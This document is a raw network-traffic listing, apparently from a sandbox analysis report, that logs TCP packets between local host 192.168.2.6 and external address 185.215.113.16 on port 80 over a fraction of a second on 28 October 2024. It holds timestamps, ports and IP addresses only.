Oct 28, 2024 15:28:19.612889051 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.612895966 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612905979 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612907887 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.612916946 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612927914 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.612927914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612943888 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612948895 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.612953901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612965107 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612974882 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612987041 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612993956 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.613004923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.613014936 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.613020897 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.613024950 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.613034964 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.613039970 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.613060951 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.613090992 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.613104105 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.613141060 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.613619089 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.613630056 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.613641024 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.613661051 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.628499985 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.649796009 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.649808884 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.649878025 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.649950981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.649962902 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.649975061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.649980068 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.649990082 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.650006056 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.650011063 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.650022030 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.650032997 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.650033951 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.650043964 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.650053978 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.650064945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.650070906 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.650074959 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.650090933 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.650178909 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.690800905 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.758477926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758493900 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758555889 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.758589029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758600950 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758625031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758652925 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.758696079 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758711100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758724928 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758738041 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.758745909 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758758068 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758773088 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.758821964 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.758897066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758909941 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758949041 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.758984089 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.758996010 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759008884 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759021997 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759032965 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759035110 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759059906 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759160042 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759171963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759182930 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759193897 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759196997 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759207010 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759217978 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759218931 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759244919 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759324074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759335041 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759365082 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759479046 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759491920 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759510994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759519100 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759527922 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759538889 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759547949 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759550095 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759562016 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759571075 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759573936 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759582996 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759599924 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759602070 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759612083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759629965 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759635925 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759640932 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759649038 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759651899 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759664059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759684086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759686947 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759694099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759706020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759708881 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759716988 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759727955 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759738922 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759743929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759757042 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759767056 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759768009 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759778976 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759784937 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759788990 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759799957 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759809971 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.759813070 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759838104 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.759850025 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760018110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760029078 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760037899 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760050058 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760061026 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760061979 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760090113 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760173082 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760190964 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760201931 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760210037 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760212898 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760231972 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760236025 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760238886 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760243893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760251999 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760257959 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760260105 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760265112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760266066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760268927 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760278940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760282040 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760303020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760304928 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760313034 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760318995 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760322094 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760340929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760343075 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760353088 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760361910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760365963 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760374069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760386944 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760411024 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760615110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760628939 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760664940 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760730028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760747910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760760069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760767937 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760771036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760782957 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760793924 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760796070 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760812044 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760823965 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760827065 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760854006 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760876894 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760888100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760900021 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.760916948 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.760941029 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761123896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761135101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761146069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761157036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761179924 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761183977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761195898 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761200905 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761207104 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761217117 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761226892 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761229038 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761239052 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761250973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761251926 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761260986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761271954 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761271954 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761284113 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761308908 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761329889 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761446953 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761457920 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761476040 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761492014 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761492968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761504889 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761517048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761528015 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761531115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761542082 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761545897 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761554003 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761589050 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761600971 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761611938 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761634111 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761660099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761671066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761682034 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761691093 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761693001 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761706114 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761709929 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761745930 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761850119 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761868000 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761878967 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761904001 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761934996 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761953115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761964083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761972904 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.761974096 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761984110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761996031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.761996031 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.762006998 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762017012 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762023926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762025118 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.762042046 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762053013 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762063980 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762064934 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.762078047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762088060 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.762088060 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762120008 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762134075 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.762139082 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762152910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762166977 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.762167931 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762197018 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.762201071 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762213945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762228012 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762231112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762243986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762259007 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.762264967 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.762274981 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.762298107 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.763945103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.763967037 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.763979912 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.763983965 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764010906 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764211893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764224052 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764235973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764259100 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764368057 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764378071 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764390945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764401913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764405012 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764429092 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764431953 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764446020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764456987 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764462948 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764467955 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764488935 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764492035 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764503002 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764513969 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764523983 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764527082 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764542103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764549971 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764563084 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764574051 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764575958 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764585018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764595032 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764605999 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764621019 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764624119 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764636040 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764645100 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764647007 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764657021 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764662981 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764667988 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764677048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764693022 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764704943 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764715910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764719009 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764727116 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764738083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764743090 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764760971 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764787912 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764799118 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764810085 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764823914 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764827967 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764838934 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764848948 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764853954 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764858961 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764868975 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764878988 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764885902 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764890909 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764899015 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764909029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764913082 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764919996 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764933109 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.764941931 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.764944077 CET	80	49764	185.215.113.16	192.168.2.6
